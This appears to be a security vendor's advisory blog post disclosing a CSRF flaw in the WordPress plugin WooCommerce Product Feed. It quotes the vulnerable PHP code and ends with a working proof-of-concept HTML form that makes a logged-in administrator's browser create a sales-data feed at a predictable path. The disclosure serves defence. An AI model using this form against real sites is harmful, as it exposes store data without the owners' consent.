13 Sep

Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed

One of the things we do to provide the best data on vulnerabilities in WordPress plugins is to monitor the wordpress.org Support Forum for threads related to those. Last week we came across a thread indicating that there was cross-site request forgery (CSRF) vulnerability in the plugin WooCommerce Product Feed. When we went to look into this we noticed that version that was supposed to fix this didn’t have any changes that looked related to that. When then asked in thread if the developer was sure that the intended fix was included, they responded yes, but what they said then did to fix the vulnerability had actually been done in version released after we asked them the question, so the truth was that they had not.

Not enough information was given for us to determine if there had actually been the claimed CSRF vulnerability in the plugin, but while looking over the plugin we when original came across the thread, we noticed a cross-site request forgery (CSRF) that exists in the current version of the plugin.

The plugin generates product feeds from WooCommerce, for sharing data with shopping services. The creation of a new product feed lack CSRF protection, so if you could get a logged in Administrator to visit a page you control you could cause a new product feed to be created at a location known to the hacker. A lot of the information that can be included in that is usually public, so the potential security risk would depend on if any information that could be included is something that the website wouldn’t want known to someone outside of it.

Requests to generate a feed our sent to the page /wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php, which causes the function woo_feed_generate_feed(), in the file /woo-feed.php, to run. That in turn causes the function woo_feed_add_update() to run when creating a new feed:

350
351
352
353
354
355
356
function woo_feed_generate_feed()
{
    if (isset($_POST['provider'])) {
        ini_set('display_errors', 1);
        ini_set('display_startup_errors', 1);
        error_reporting(E_ALL);
        $process = woo_feed_add_update($_POST);

To prevent cross-site request forgery (CSRF) there should be nonce check done before the feed is created, but that doesn’t occur before woo_feed_add_update() is run and that function also doesn’t do one before getting into the code that creates the feed:

235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
function woo_feed_add_update($info = "", $name = "")
{
    set_time_limit(0);
    if (count($info) && isset($info['provider'])) {
        # GEt Post data
        if ($info['provider'] == 'google') {
            $merchant = "Woo_Feed_Google";
        } elseif ($info['provider'] == 'facebook') {
            $merchant = "Woo_Feed_Facebook";
        } else {
            $merchant = "Woo_Feed_Custom";
        }
 
        $feedService = sanitize_text_field($info['provider']);
        $fileName = str_replace(" ", "", sanitize_text_field($info['filename']));
        $type = sanitize_text_field($info['feedType']);

We notified the developer directly a week ago and also notified them of that contact in the previously mentioned thread, but so far we have received no response and the vulnerability hasn’t been fixed, despite a new version being released since then.

Proof of Concept

The following proof of concept will cause a new product feed to be generated with total sales of all the products and be stored at /wp-content/uploads/woo-feed/custom/csv/TotalSales.csv, when logged in to WordPress as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=webappick-product-feed-for-woocommerce%2Fadmin%2Fclass-woo-feed-admin.php" method="POST">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="provider" value="custom">
<input type="hidden" name="filename" value="Total Sales">
<input type="hidden" name="feedType" value="csv">
<input type="hidden" name="itemsWrapper" value="products">
<input type="hidden" name="itemWrapper" value="product">
<input type="hidden" name="extraHeader" value="">
<input type="hidden" name="delimiter" value=",">
<input type="hidden" name="enclosure" value="double">
<input type="hidden" name="wf_tabs" value="on">
<input type="hidden" name="mattributes[]" value="Product">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="title">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[0][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="mattributes[]" value="Total Sales">
<input type="hidden" name="prefix[]" value="">
<input type="hidden" name="type[]" value="attribute">
<input type="hidden" name="attributes[]" value="wf_cattr_total_sales">
<input type="hidden" name="default[]" value="">
<input type="hidden" name="suffix[]" value="">
<input type="hidden" name="output_type[1][]" value="1">
<input type="hidden" name="limit[]" value="">
<input type="hidden" name="ftpenabled" value="0">
<input type="hidden" name="ftphost" value="">
<input type="hidden" name="ftpuser" value="">
<input type="hidden" name="ftppassword" value="">
<input type="hidden" name="ftppath" value="">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

9/6/2016 – Developer notified.

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

One thought on “Cross-Site Request Forgery (CSRF) Vulnerability in WooCommerce Product Feed

Leave a Reply

Your email address will not be published. Required fields are marked *